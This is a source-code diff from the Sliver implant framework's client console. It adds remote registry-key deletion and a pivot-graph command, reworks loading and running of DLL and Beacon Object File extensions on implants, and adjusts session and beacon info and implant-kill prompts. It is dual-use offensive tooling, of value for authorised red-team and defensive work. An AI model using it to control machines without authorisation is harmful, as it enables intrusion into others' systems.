con.Println()
|
||||
registry.RegDeleteKeyCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.String("H", "hive", "HKCU", "registry hive")
|
||||
f.String("o", "hostname", "", "remote host to remove value from")
|
||||
},
|
||||
})
|
||||
registryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RegistryListSubStr,
|
||||
Help: "List the sub keys under a registry key",
|
||||
@@ -2405,6 +2446,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
pivotsCmd.AddCommand(&grumble.Command{
|
||||
Name: "graph",
|
||||
Help: "Get details of a pivot listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, "graph"}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("i", "id", 0, "id of the pivot listener to stop")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.PivotsGraphCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ WireGuard ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
|
||||
@@ -56,7 +56,7 @@ The structure is the following one:
|
||||
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
|
||||
- `init`: the initialization function name (if relevant, can be omitted)
|
||||
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
|
||||
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
|
||||
The `type` of an argument can be one of the following:
|
||||
|
||||
|
||||
@@ -34,7 +34,11 @@ import (
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions
|
||||
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrintExtensions(con)
|
||||
if 0 < len(getInstalledManifests()) {
|
||||
PrintExtensions(con)
|
||||
} else {
|
||||
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtensions - Print a list of loaded extensions
|
||||
|
||||
@@ -98,7 +98,7 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file
|
||||
// InstallFromFilePath - Install an extension from a .tar.gz file
|
||||
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
@@ -151,14 +151,20 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, artifactPath)
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
err := os.MkdirAll(artifactDir, 0o700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
|
||||
@@ -38,11 +38,13 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
// ManifestFileName - Extension manifest file name
|
||||
ManifestFileName = "extension.json"
|
||||
)
|
||||
|
||||
@@ -82,7 +84,7 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), cmdName, extFile.Path)
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -105,15 +107,15 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
if CmdExists(extCmd.Name, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
if CmdExists(extCmd.CommandName, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
return
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
// ParseExtensions - Parse extension files
|
||||
// LoadExtensionManifest - Parse extension files
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
@@ -178,11 +180,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
// f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
if len(extCmd.Arguments) > 0 {
|
||||
if 0 < len(extCmd.Arguments) {
|
||||
// BOF specific
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var (
|
||||
@@ -212,27 +214,26 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Try to find the extension in the loaded extensions
|
||||
if len(session.Extensions) == 0 {
|
||||
if checkCache {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
con.PrintErrorf("List extensions error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
return errors.New(extList.Response.Err)
|
||||
}
|
||||
extensionList = extList.Names
|
||||
} else {
|
||||
extensionList = session.Extensions
|
||||
}
|
||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
@@ -248,7 +249,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
@@ -258,31 +259,17 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
|
||||
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
|
||||
return errRegister
|
||||
}
|
||||
// Update session info
|
||||
if filepath.Ext(binPath) != ".o" {
|
||||
// Don't update session for BOFs, we don't cache them
|
||||
// on the implant side (yet)
|
||||
// update the Session info
|
||||
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
Extensions: extensionList,
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.Name,
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: session.OS,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
@@ -295,10 +282,10 @@ func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest,
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
|
||||
depExt, f := loadedExtensions[depName]
|
||||
if f {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
|
||||
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
depExt, ok := loadedExtensions[depName]
|
||||
if ok {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -306,23 +293,31 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(con, depExt, depBinData, session, ctx)
|
||||
return registerExtension(goos, depExt, depBinData, ctx, con)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
callExtension *sliverpb.CallExtension
|
||||
err error
|
||||
extensionArgs []byte
|
||||
extName string
|
||||
entryPoint string
|
||||
)
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ext, ok := loadedExtensions[ctx.Command.Name]
|
||||
if !ok {
|
||||
@@ -330,23 +325,15 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
if err = loadExtension(ctx, session, con, ext); err != nil {
|
||||
checkCache := session != nil
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Failed to read extension file: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -361,7 +348,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
con.PrintErrorf("BOF args error: %s\n", err)
|
||||
return
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
@@ -370,13 +357,14 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.Name
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
@@ -385,21 +373,39 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
con.PrintErrorf("Call extension error: %s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
if callExtResp.Response != nil && callExtResp.Response.Async {
|
||||
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, callExtResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
})
|
||||
con.PrintAsyncResponse(callExtResp.Response)
|
||||
} else {
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtOutput - Print the ext execution output
|
||||
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
|
||||
if extName == commandName {
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
} else {
|
||||
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
|
||||
}
|
||||
if 0 < len(string(callExtension.Output)) {
|
||||
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
if len(callExtension.Output) > 0 {
|
||||
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(callExtension.Output)
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
|
||||
@@ -81,6 +81,10 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Then we have a filter on the end of the path
|
||||
remotePath = baseDir
|
||||
filter = potentialFilter
|
||||
} else {
|
||||
if !strings.HasSuffix(remotePath, "/") {
|
||||
remotePath = remotePath + "/"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -505,13 +505,13 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "named-pipe://") {
|
||||
if strings.HasPrefix(arg, "namedpipe://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -535,16 +535,22 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "tcp-pivot://") {
|
||||
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
|
||||
}
|
||||
if strings.HasPrefix(arg, "tcppivot://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
|
||||
@@ -157,8 +157,8 @@ func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for _, build := range builds.Configs {
|
||||
if build.Name == name {
|
||||
for sliverName, build := range builds.Configs {
|
||||
if sliverName == name {
|
||||
return build
|
||||
}
|
||||
}
|
||||
|
||||
@@ -46,7 +46,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
for _, c := range con.App.Commands().All() {
|
||||
key := c.HelpGroup
|
||||
targetOS := ""
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
session, beacon := con.ActiveTarget.Get()
|
||||
if session != nil {
|
||||
targetOS = session.OS
|
||||
} else if beacon != nil {
|
||||
@@ -97,6 +97,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
printHeadline(con.App.Config(), headline, con)
|
||||
con.Printf("%s\n", columnize.Format(output, config))
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -84,6 +84,7 @@ var (
|
||||
consts.RegistryWriteStr: regWriteHelp,
|
||||
consts.RegistryReadStr: regReadHelp,
|
||||
consts.RegistryCreateKeyStr: regCreateKeyHelp,
|
||||
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
|
||||
consts.PivotsStr: pivotsHelp,
|
||||
consts.WgPortFwdStr: wgPortFwdHelp,
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
@@ -482,6 +483,11 @@ When using the binary type, you must either:
|
||||
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
|
||||
[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
|
||||
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
|
||||
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
|
||||
@@ -81,7 +81,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
shortID,
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
hostSessionNumbers(host.HostUUID, con),
|
||||
hostSessions(host.HostUUID, con),
|
||||
hostBeacons(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
@@ -90,16 +90,16 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
hostSessions := SessionsForHost(hostUUID, con)
|
||||
if 0 == len(hostSessions) {
|
||||
if len(hostSessions) == 0 {
|
||||
return "None"
|
||||
}
|
||||
sessionNumbers := []string{}
|
||||
sessionIDs := []string{}
|
||||
for _, hostSession := range hostSessions {
|
||||
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
|
||||
sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
|
||||
}
|
||||
return strings.Join(sessionNumbers, ", ")
|
||||
return fmt.Sprintf("%d", len(sessionIDs))
|
||||
}
|
||||
|
||||
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
|
||||
@@ -19,6 +19,8 @@ package info
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
|
||||
@@ -33,7 +35,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if session != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
|
||||
@@ -44,13 +46,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
|
||||
|
||||
} else if beacon != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
|
||||
@@ -61,10 +64,11 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
||||
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
|
||||
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
|
||||
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
|
||||
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
|
||||
|
||||
} else {
|
||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||
|
||||
@@ -35,10 +35,9 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
// Confirm with the user, just in case they confused kill with terminate
|
||||
confirm := false
|
||||
promptSession := &survey.Confirm{Message: "Kill the active session?"}
|
||||
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
|
||||
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
|
||||
if session != nil {
|
||||
survey.AskOne(promptSession, &confirm, nil)
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -50,9 +49,8 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.ActiveTarget.Background()
|
||||
return
|
||||
}
|
||||
if beacon != nil {
|
||||
survey.AskOne(promptBeacon, &confirm, nil)
|
||||
} else if beacon != nil {
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -35,7 +35,7 @@ func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -86,10 +86,10 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl
|
||||
"ID",
|
||||
"Remote Address",
|
||||
})
|
||||
for _, pivot := range listener.Pivots {
|
||||
for _, pivotListener := range listener.Pivots {
|
||||
tw.AppendRow(table.Row{
|
||||
pivot.ID,
|
||||
pivot.RemoteAddress,
|
||||
pivotListener.PeerID,
|
||||
pivotListener.RemoteAddress,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PivotsGraphCmd - Display pivots for all sessions
|
||||
func PivotsGraphCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
data, err := json.MarshalIndent(graph.Children, "", " ")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("%s\n", string(data))
|
||||
|
||||
}
|
||||
@@ -35,7 +35,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -34,7 +34,7 @@ func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
}
|
||||
id := uint32(ctx.Flags.Int("id"))
|
||||
if id == uint32(0) {
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
